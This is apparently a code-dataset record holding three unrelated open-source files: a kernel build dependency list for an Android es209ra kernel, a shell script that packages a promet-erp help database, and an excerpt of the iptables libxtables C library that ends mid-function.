/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
include/linux/posix_types.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/posix_types.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/processor.h \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/cpu/32v6k.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
$(wildcard include/config/arm/thumb.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/hwcap.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/system.h \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arch/msm.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/sa110.h) \
include/linux/linkage.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/linkage.h \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
$(wildcard include/config/x86.h) \
include/linux/typecheck.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/irqflags.h \
include/asm-generic/cmpxchg-local.h \
include/linux/stat.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/linux/kernel.h \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/spinlock/sleep.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
$(wildcard include/config/ring/buffer.h) \
$(wildcard include/config/numa.h) \
/usr/lib/gcc-cross/arm-linux-gnueabi/4.7/include/stdarg.h \
include/linux/bitops.h \
$(wildcard include/config/generic/find/first/bit.h) \
$(wildcard include/config/generic/find/last/bit.h) \
$(wildcard include/config/generic/find/next/bit.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/bitops.h \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/lock.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/ratelimit.h \
include/linux/param.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/param.h \
$(wildcard include/config/hz.h) \
include/linux/dynamic_debug.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/linux/swab.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/swab.h \
include/linux/byteorder/generic.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug/relative/pointers.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/div64.h \
include/linux/seqlock.h \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/preempt.h \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/thread_info.h \
$(wildcard include/config/arm/thumbee.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/domain.h \
$(wildcard include/config/verify/permission/fault.h) \
$(wildcard include/config/io/36.h) \
include/linux/stringify.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
include/linux/spinlock_types_up.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
$(wildcard include/config/generic/hardirqs.h) \
include/linux/spinlock_up.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/atomic.h \
include/asm-generic/atomic-long.h \
include/linux/spinlock_api_up.h \
include/linux/math64.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/kmemcheck.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/debug/vm.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/sparsemem.h) \
$(wildcard include/config/arch/populates/node/map.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/cgroup/mem/res/ctlr.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/nodes/span/other/nodes.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/current.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/init.h \
$(wildcard include/config/hotplug.h) \
include/linux/nodemask.h \
include/linux/bitmap.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/string.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/bounds.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v3.h) \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/memory/hotplug/sparse.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/glue.h \
$(wildcard include/config/cpu/arm610.h) \
$(wildcard include/config/cpu/arm710.h) \
$(wildcard include/config/cpu/abrt/lv4t.h) \
$(wildcard include/config/cpu/abrt/ev4.h) \
$(wildcard include/config/cpu/abrt/ev4t.h) \
$(wildcard include/config/cpu/abrt/ev5tj.h) \
$(wildcard include/config/cpu/abrt/ev5t.h) \
$(wildcard include/config/cpu/abrt/ev6.h) \
$(wildcard include/config/cpu/abrt/ev7.h) \
$(wildcard include/config/cpu/pabrt/legacy.h) \
$(wildcard include/config/cpu/pabrt/v6.h) \
$(wildcard include/config/cpu/pabrt/v7.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/memory.h \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/thumb2/kernel.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/dram/base.h) \
include/linux/const.h \
arch/arm/mach-msm/include/mach/memory.h \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/arch/msm7x30.h) \
$(wildcard include/config/vmsplit/3g.h) \
$(wildcard include/config/arch/msm/arm11.h) \
$(wildcard include/config/cache/l2x0.h) \
$(wildcard include/config/arch/msm/scorpion.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/sizes.h \
include/asm-generic/memory_model.h \
$(wildcard include/config/sparsemem/vmemmap.h) \
include/asm-generic/getorder.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/memory/hotremove.h) \
include/linux/notifier.h \
include/linux/errno.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/errno.h \
include/asm-generic/errno.h \
include/asm-generic/errno-base.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/generic/spinlock.h) \
include/linux/rwsem-spinlock.h \
include/linux/srcu.h \
include/linux/topology.h \
$(wildcard include/config/sched/smt.h) \
$(wildcard include/config/sched/mc.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
$(wildcard include/config/disable/obsolete/cpumask/functions.h) \
include/linux/smp.h \
$(wildcard include/config/use/generic/smp/helpers.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/topology.h \
include/asm-generic/topology.h \
include/linux/mmdebug.h \
$(wildcard include/config/debug/virtual.h) \
include/linux/elf.h \
include/linux/elf-em.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/elf.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/user.h \
include/linux/kobject.h \
include/linux/sysfs.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/tracepoint.h \
include/linux/rcupdate.h \
$(wildcard include/config/tree/preempt/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
include/linux/completion.h \
include/linux/rcutree.h \
$(wildcard include/config/no/hz.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/local.h \
include/asm-generic/local.h \
include/linux/percpu.h \
$(wildcard include/config/have/legacy/per/cpu/area.h) \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/debug/kmemleak.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/slab.h \
$(wildcard include/config/slab/debug.h) \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/slub.h) \
$(wildcard include/config/slob.h) \
$(wildcard include/config/debug/slab.h) \
include/linux/slob_def.h \
include/linux/pfn.h \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
/home/benoit/kernel_android/32/es209ra/arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
include/trace/events/module.h \
include/trace/define_trace.h \
include/linux/zutil.h \
include/linux/zlib.h \
include/linux/zconf.h \
lib/zlib_deflate/defutil.h \
lib/zlib_deflate/deflate.o: $(deps_lib/zlib_deflate/deflate.o)
$(deps_lib/zlib_deflate/deflate.o):
|
b8e5n/KTG-kernel_es209ra
|
lib/zlib_deflate/.deflate.o.cmd
|
Batchfile
|
gpl-2.0
| 14,595
|
#/bin/bash
echo "Building help..."
basedir=$(pwd)
cd promet/help
rm -r $BUILD_DIR
mkdir $BUILD_DIR
cp help.db $BUILD_DIR
$SQLITE3 $BUILD_DIR/help.db "delete from DOCUMENTS where TYPE<>'W';delete from HISTORY;delete from REPORTS;delete from ACCHISTORY;delete from TEMPLATES;delete from DOCPAGES;delete from DELETEDITEMS;delete from THUMBNAILS;delete from TASKS;delete from OPTIONS;delete from MESSAGEIDX;delete from MESSAGES;delete from ORDERS;vacuum;"
cd $BUILD_DIR
target=help
targetfile=$target-$BUILD_VERSION.zip
targetcur=$target-current.zip
zip -rq $basedir/promet/setup/output/$targetfile .
cd $basedir/promet/output/$TARGET_CPU-$TARGET_OS
if [ "$1" = "upload" ]; then
. ../../setup/build-tools/doupload.sh $targetfile $targetcur
fi
cd $basedir
|
cutec-chris/promet-erp
|
promet/help/build.sh
|
Shell
|
gpl-2.0
| 753
|
/*
* (C) 2000-2006 by the netfilter coreteam <coreteam@netfilter.org>:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <xtables.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netfilter_ipv6/ip6_tables.h>
#include <libiptc/libxtc.h>
#ifndef NO_SHARED_LIBS
#include <dlfcn.h>
#endif
#ifndef IPT_SO_GET_REVISION_MATCH /* Old kernel source. */
# define IPT_SO_GET_REVISION_MATCH (IPT_BASE_CTL + 2)
# define IPT_SO_GET_REVISION_TARGET (IPT_BASE_CTL + 3)
#endif
#ifndef IP6T_SO_GET_REVISION_MATCH /* Old kernel source. */
# define IP6T_SO_GET_REVISION_MATCH 68
# define IP6T_SO_GET_REVISION_TARGET 69
#endif
#include <getopt.h>
#define NPROTO 255
#ifndef PROC_SYS_MODPROBE
#define PROC_SYS_MODPROBE "/proc/sys/kernel/modprobe"
#endif
# define ARRAY_SIZE(x) (sizeof(x) / sizeof(*(x)))
void basic_exit_err(enum xtables_exittype status, const char *msg, ...) __attribute__((noreturn, format(printf,2,3)));
struct xtables_globals *xt_params = NULL;
void basic_exit_err(enum xtables_exittype status, const char *msg, ...)
{
va_list args;
va_start(args, msg);
fprintf(stderr, "%s v%s: ", xt_params->program_name, xt_params->program_version);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, "\n");
exit(status);
}
void xtables_free_opts(int reset_offset)
{
if (xt_params->opts != xt_params->orig_opts) {
free(xt_params->opts);
xt_params->opts = xt_params->orig_opts;
if (reset_offset)
xt_params->option_offset = 0;
}
}
struct option *xtables_merge_options(struct option *oldopts,
const struct option *newopts,
unsigned int *option_offset)
{
unsigned int num_old, num_new, i;
struct option *merge;
if (newopts == NULL)
return oldopts;
for (num_old = 0; oldopts[num_old].name; num_old++) ;
for (num_new = 0; newopts[num_new].name; num_new++) ;
xt_params->option_offset += 256;
*option_offset = xt_params->option_offset;
merge = malloc(sizeof(struct option) * (num_new + num_old + 1));
if (merge == NULL)
return NULL;
memcpy(merge, oldopts, num_old * sizeof(struct option));
xtables_free_opts(0); /* Release any old options merged */
for (i = 0; i < num_new; i++) {
merge[num_old + i] = newopts[i];
merge[num_old + i].val += *option_offset;
}
memset(merge + num_old + num_new, 0, sizeof(struct option));
return merge;
}
void xtables_set_revision(char *name, u_int8_t revision)
{
/* Old kernel sources don't have ".revision" field,
* but we stole a byte from name. */
name[XT_FUNCTION_MAXNAMELEN - 2] = '\0';
name[XT_FUNCTION_MAXNAMELEN - 1] = revision;
}
/**
* xtables_afinfo - protocol family dependent information
* @kmod: kernel module basename (e.g. "ip_tables")
* @libprefix: prefix of .so library name (e.g. "libipt_")
* @family: nfproto family
* @ipproto: used by setsockopt (e.g. IPPROTO_IP)
* @so_rev_match: optname to check revision support of match
* @so_rev_target: optname to check revision support of target
*/
struct xtables_afinfo {
const char *kmod;
const char *libprefix;
uint8_t family;
uint8_t ipproto;
int so_rev_match;
int so_rev_target;
};
static const struct xtables_afinfo afinfo_ipv4 = {
.kmod = "ip_tables",
.libprefix = "libipt_",
.family = NFPROTO_IPV4,
.ipproto = IPPROTO_IP,
.so_rev_match = IPT_SO_GET_REVISION_MATCH,
.so_rev_target = IPT_SO_GET_REVISION_TARGET,
};
static const struct xtables_afinfo afinfo_ipv6 = {
.kmod = "ip6_tables",
.libprefix = "libip6t_",
.family = NFPROTO_IPV6,
.ipproto = IPPROTO_IPV6,
.so_rev_match = IP6T_SO_GET_REVISION_MATCH,
.so_rev_target = IP6T_SO_GET_REVISION_TARGET,
};
static const struct xtables_afinfo *afinfo;
/* Search path for Xtables .so files */
static const char *xtables_libdir;
/* the path to command to load kernel module */
const char *xtables_modprobe_program;
/* Keeping track of external matches and targets: linked lists. */
struct xtables_match *xtables_matches;
struct xtables_target *xtables_targets;
void xtables_init(void)
{
xtables_libdir = getenv("XTABLES_LIBDIR");
if (xtables_libdir != NULL)
return;
xtables_libdir = getenv("IPTABLES_LIB_DIR");
if (xtables_libdir != NULL) {
fprintf(stderr, "IPTABLES_LIB_DIR is deprecated, "
"use XTABLES_LIBDIR.\n");
return;
}
/*
* Well yes, IP6TABLES_LIB_DIR is of lower priority over
* IPTABLES_LIB_DIR since this moved to libxtables; I think that is ok
* for these env vars are deprecated anyhow, and in light of the
* (shared) libxt_*.so files, makes less sense to have
* IPTABLES_LIB_DIR != IP6TABLES_LIB_DIR.
*/
xtables_libdir = getenv("IP6TABLES_LIB_DIR");
if (xtables_libdir != NULL) {
fprintf(stderr, "IP6TABLES_LIB_DIR is deprecated, "
"use XTABLES_LIBDIR.\n");
return;
}
xtables_libdir = XTABLES_LIBDIR;
}
void xtables_set_nfproto(uint8_t nfproto)
{
switch (nfproto) {
case NFPROTO_IPV4:
afinfo = &afinfo_ipv4;
break;
case NFPROTO_IPV6:
afinfo = &afinfo_ipv6;
break;
default:
fprintf(stderr, "libxtables: unhandled NFPROTO in %s\n",
__func__);
}
}
/**
* xtables_set_params - set the global parameters used by xtables
* @xtp: input xtables_globals structure
*
* The app is expected to pass a valid xtables_globals data-filled
* with proper values
* @xtp cannot be NULL
*
* Returns -1 on failure to set and 0 on success
*/
int xtables_set_params(struct xtables_globals *xtp)
{
if (!xtp) {
fprintf(stderr, "%s: Illegal global params\n",__func__);
return -1;
}
xt_params = xtp;
if (!xt_params->exit_err)
xt_params->exit_err = basic_exit_err;
return 0;
}
int xtables_init_all(struct xtables_globals *xtp, uint8_t nfproto)
{
xtables_init();
xtables_set_nfproto(nfproto);
return xtables_set_params(xtp);
}
/**
* xtables_*alloc - wrappers that exit on failure
*/
void *xtables_calloc(size_t count, size_t size)
{
void *p;
if ((p = calloc(count, size)) == NULL) {
perror("ip[6]tables: calloc failed");
exit(1);
}
return p;
}
void *xtables_malloc(size_t size)
{
void *p;
if ((p = malloc(size)) == NULL) {
perror("ip[6]tables: malloc failed");
exit(1);
}
return p;
}
static char *get_modprobe(void)
{
int procfile;
char *ret;
#define PROCFILE_BUFSIZ 1024
procfile = open(PROC_SYS_MODPROBE, O_RDONLY);
if (procfile < 0)
return NULL;
ret = (char *) malloc(PROCFILE_BUFSIZ);
if (ret) {
memset(ret, 0, PROCFILE_BUFSIZ);
switch (read(procfile, ret, PROCFILE_BUFSIZ)) {
case -1: goto fail;
case PROCFILE_BUFSIZ: goto fail; /* Partial read. Wierd */
}
if (ret[strlen(ret)-1]=='\n')
ret[strlen(ret)-1]=0;
close(procfile);
return ret;
}
fail:
free(ret);
close(procfile);
return NULL;
}
int xtables_insmod(const char *modname, const char *modprobe, bool quiet)
{
char *buf = NULL;
char *argv[4];
int status;
/* If they don't explicitly set it, read out of kernel */
if (!modprobe) {
buf = get_modprobe();
if (!buf)
return -1;
modprobe = buf;
}
/*
* Need to flush the buffer, or the child may output it again
* when switching the program thru execv.
*/
fflush(stdout);
switch (fork()) {
case 0:
argv[0] = (char *)modprobe;
argv[1] = (char *)modname;
if (quiet) {
argv[2] = "-q";
argv[3] = NULL;
} else {
argv[2] = NULL;
argv[3] = NULL;
}
execv(argv[0], argv);
/* not usually reached */
exit(1);
case -1:
return -1;
default: /* parent */
wait(&status);
}
free(buf);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
return 0;
return -1;
}
int xtables_load_ko(const char *modprobe, bool quiet)
{
static bool loaded = false;
static int ret = -1;
if (!loaded) {
ret = xtables_insmod(afinfo->kmod, modprobe, quiet);
loaded = (ret == 0);
}
return ret;
}
/**
* xtables_strtou{i,l} - string to number conversion
* @s: input string
* @end: like strtoul's "end" pointer
* @value: pointer for result
* @min: minimum accepted value
* @max: maximum accepted value
*
* If @end is NULL, we assume the caller wants a "strict strtoul", and hence
* "15a" is rejected.
* In either case, the value obtained is compared for min-max compliance.
* Base is always 0, i.e. autodetect depending on @s.
*
* Returns true/false whether number was accepted. On failure, *value has
* undefined contents.
*/
bool xtables_strtoul(const char *s, char **end, unsigned long *value,
unsigned long min, unsigned long max)
{
unsigned long v;
char *my_end;
errno = 0;
v = strtoul(s, &my_end, 0);
if (my_end == s)
return false;
if (end != NULL)
*end = my_end;
if (errno != ERANGE && min <= v && (max == 0 || v <= max)) {
if (value != NULL)
*value = v;
if (end == NULL)
return *my_end == '\0';
return true;
}
return false;
}
bool xtables_strtoui(const char *s, char **end, unsigned int *value,
unsigned int min, unsigned int max)
{
unsigned long v;
bool ret;
ret = xtables_strtoul(s, end, &v, min, max);
if (value != NULL)
*value = v;
return ret;
}
int xtables_service_to_port(const char *name, const char *proto)
{
struct servent *service;
if ((service = getservbyname(name, proto)) != NULL)
return ntohs((unsigned short) service->s_port);
return -1;
}
u_int16_t xtables_parse_port(const char *port, const char *proto)
{
unsigned int portnum;
if (xtables_strtoui(port, NULL, &portnum, 0, UINT16_MAX) ||
(portnum = xtables_service_to_port(port, proto)) != (unsigned)-1)
return portnum;
xt_params->exit_err(PARAMETER_PROBLEM,
"invalid port/service `%s' specified", port);
}
void xtables_parse_interface(const char *arg, char *vianame,
unsigned char *mask)
{
int vialen = strlen(arg);
unsigned int i;
memset(mask, 0, IFNAMSIZ);
memset(vianame, 0, IFNAMSIZ);
if (vialen + 1 > IFNAMSIZ)
xt_params->exit_err(PARAMETER_PROBLEM,
"interface name `%s' must be shorter than IFNAMSIZ"
" (%i)", arg, IFNAMSIZ-1);
strcpy(vianame, arg);
if ((vialen == 0) || (vialen == 1 && vianame[0] == '+'))
memset(mask, 0, IFNAMSIZ);
else if (vianame[vialen - 1] == '+') {
memset(mask, 0xFF, vialen - 1);
memset(mask + vialen - 1, 0, IFNAMSIZ - vialen + 1);
/* Don't remove `+' here! -HW */
} else {
/* Include nul-terminator in match */
memset(mask, 0xFF, vialen + 1);
memset(mask + vialen + 1, 0, IFNAMSIZ - vialen - 1);
for (i = 0; vianame[i]; i++) {
if (vianame[i] == ':' ||
vianame[i] == '!' ||
vianame[i] == '*') {
fprintf(stderr,
"Warning: weird character in interface"
" `%s' (No aliases, :, ! or *).\n",
vianame);
break;
}
}
}
}
#ifndef NO_SHARED_LIBS
static void *load_extension(const char *search_path, const char *prefix,
const char *name, bool is_target)
{
const char *dir = search_path, *next;
void *ptr = NULL;
struct stat sb;
char path[256];
do {
next = strchr(dir, ':');
if (next == NULL)
next = dir + strlen(dir);
snprintf(path, sizeof(path), "%.*s/libxt_%s.so",
(unsigned int)(next - dir), dir, name);
if (dlopen(path, RTLD_NOW) != NULL) {
/* Found library. If it didn't register itself,
maybe they specified target as match. */
if (is_target)
ptr = xtables_find_target(name, XTF_DONT_LOAD);
else
ptr = xtables_find_match(name,
XTF_DONT_LOAD, NULL);
} else if (stat(path, &sb) == 0) {
fprintf(stderr, "%s: %s\n", path, dlerror());
}
if (ptr != NULL)
return ptr;
snprintf(path, sizeof(path), "%.*s/%s%s.so",
(unsigned int)(next - dir), dir, prefix, name);
if (dlopen(path, RTLD_NOW) != NULL) {
if (is_target)
ptr = xtables_find_target(name, XTF_DONT_LOAD);
else
ptr = xtables_find_match(name,
XTF_DONT_LOAD, NULL);
} else if (stat(path, &sb) == 0) {
fprintf(stderr, "%s: %s\n", path, dlerror());
}
if (ptr != NULL)
return ptr;
dir = next + 1;
} while (*next != '\0');
return NULL;
}
#endif
struct xtables_match *
xtables_find_match(const char *name, enum xtables_tryload tryload,
struct xtables_rule_match **matches)
{
struct xtables_match *ptr;
const char *icmp6 = "icmp6";
/* This is ugly as hell. Nonetheless, there is no way of changing
* this without hurting backwards compatibility */
if ( (strcmp(name,"icmpv6") == 0) ||
(strcmp(name,"ipv6-icmp") == 0) ||
(strcmp(name,"icmp6") == 0) )
name = icmp6;
for (ptr = xtables_matches; ptr; ptr = ptr->next) {
if (strcmp(name, ptr->name) == 0) {
struct xtables_match *clone;
/* First match of this type: */
if (ptr->m == NULL)
break;
/* Second and subsequent clones */
clone = xtables_malloc(sizeof(struct xtables_match));
memcpy(clone, ptr, sizeof(struct xtables_match));
clone->mflags = 0;
/* This is a clone: */
clone->next = clone;
ptr = clone;
break;
}
}
#ifndef NO_SHARED_LIBS
if (!ptr && tryload != XTF_DONT_LOAD && tryload != XTF_DURING_LOAD) {
ptr = load_extension(xtables_libdir, afinfo->libprefix,
name, false);
if (ptr == NULL && tryload == XTF_LOAD_MUST_SUCCEED)
xt_params->exit_err(PARAMETER_PROBLEM,
"Couldn't load match `%s':%s\n",
name, dlerror());
}
#else
if (ptr && !ptr->loaded) {
if (tryload != XTF_DONT_LOAD)
ptr->loaded = 1;
else
ptr = NULL;
}
if(!ptr && (tryload == XTF_LOAD_MUST_SUCCEED)) {
xt_params->exit_err(PARAMETER_PROBLEM,
"Couldn't find match `%s'\n", name);
}
#endif
if (ptr && matches) {
struct xtables_rule_match **i;
struct xtables_rule_match *newentry;
newentry = xtables_malloc(sizeof(struct xtables_rule_match));
for (i = matches; *i; i = &(*i)->next) {
if (strcmp(name, (*i)->match->name) == 0)
(*i)->completed = true;
}
newentry->match = ptr;
newentry->completed = false;
newentry->next = NULL;
*i = newentry;
}
return ptr;
}
struct xtables_target *
xtables_find_target(const char *name, enum xtables_tryload tryload)
{
struct xtables_target *ptr;
/* Standard target? */
if (strcmp(name, "") == 0
|| strcmp(name, XTC_LABEL_ACCEPT) == 0
|| strcmp(name, XTC_LABEL_DROP) == 0
|| strcmp(name, XTC_LABEL_QUEUE) == 0
|| strcmp(name, XTC_LABEL_RETURN) == 0)
name = "standard";
for (ptr = xtables_targets; ptr; ptr = ptr->next) {
if (strcmp(name, ptr->name) == 0)
break;
}
#ifndef NO_SHARED_LIBS
if (!ptr && tryload != XTF_DONT_LOAD && tryload != XTF_DURING_LOAD) {
ptr = load_extension(xtables_libdir, afinfo->libprefix,
name, true);
if (ptr == NULL && tryload == XTF_LOAD_MUST_SUCCEED)
xt_params->exit_err(PARAMETER_PROBLEM,
"Couldn't load target `%s':%s\n",
name, dlerror());
}
#else
if (ptr && !ptr->loaded) {
if (tryload != XTF_DONT_LOAD)
ptr->loaded = 1;
else
ptr = NULL;
}
if(!ptr && (tryload == LOAD_MUST_SUCCEED)) {
xt_params->exit_err(PARAMETER_PROBLEM,
"Couldn't find target `%s'\n", name);
}
#endif
if (ptr)
ptr->used = 1;
return ptr;
}
static int compatible_revision(const char *name, u_int8_t revision, int opt)
{
struct xt_get_revision rev;
socklen_t s = sizeof(rev);
int max_rev, sockfd;
sockfd = socket(afinfo->family, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
if (errno == EPERM) {
/* revision 0 is always supported. */
if (revision != 0)
fprintf(stderr, "Could not determine whether "
"revision %u is supported, "
"assuming it is.\n",
revision);
return 1;
}
fprintf(stderr, "Could not open socket to kernel: %s\n",
strerror(errno));
exit(1);
}
xtables_load_ko(xtables_modprobe_program, true);
strcpy(rev.name, name);
rev.revision = revision;
max_rev = getsockopt(sockfd, afinfo->ipproto, opt, &rev, &s);
if (max_rev < 0) {
/* Definitely don't support this? */
if (errno == ENOENT || errno == EPROTONOSUPPORT) {
close(sockfd);
return 0;
} else if (errno == ENOPROTOOPT) {
close(sockfd);
/* Assume only revision 0 support (old kernel) */
return (revision == 0);
} else {
fprintf(stderr, "getsockopt failed strangely: %s\n",
strerror(errno));
exit(1);
}
}
close(sockfd);
return 1;
}
static int compatible_match_revision(const char *name, u_int8_t revision)
{
return compatible_revision(name, revision, afinfo->so_rev_match);
}
static int compatible_target_revision(const char *name, u_int8_t revision)
{
return compatible_revision(name, revision, afinfo->so_rev_target);
}
void xtables_register_match(struct xtables_match *me)
{
struct xtables_match **i, *old;
if (strcmp(me->version, XTABLES_VERSION) != 0) {
fprintf(stderr, "%s: match \"%s\" has version \"%s\", "
"but \"%s\" is required.\n",
xt_params->program_name, me->name,
me->version, XTABLES_VERSION);
exit(1);
}
/* Revision field stole a char from name. */
if (strlen(me->name) >= XT_FUNCTION_MAXNAMELEN-1) {
fprintf(stderr, "%s: target `%s' has invalid name\n",
xt_params->program_name, me->name);
exit(1);
}
if (me->family >= NPROTO) {
fprintf(stderr,
"%s: BUG: match %s has invalid protocol family\n",
xt_params->program_name, me->name);
exit(1);
}
/* ignore not interested match */
if (me->family != afinfo->family && me->family != AF_UNSPEC)
return;
old = xtables_find_match(me->name, XTF_DURING_LOAD, NULL);
if (old) {
if (old->revision == me->revision &&
old->family == me->family) {
fprintf(stderr,
"%s: match `%s' already registered.\n",
xt_params->program_name, me->name);
exit(1);
}
/* Now we have two (or more) options, check compatibility. */
if (compatible_match_revision(old->name, old->revision)
&& old->revision > me->revision)
return;
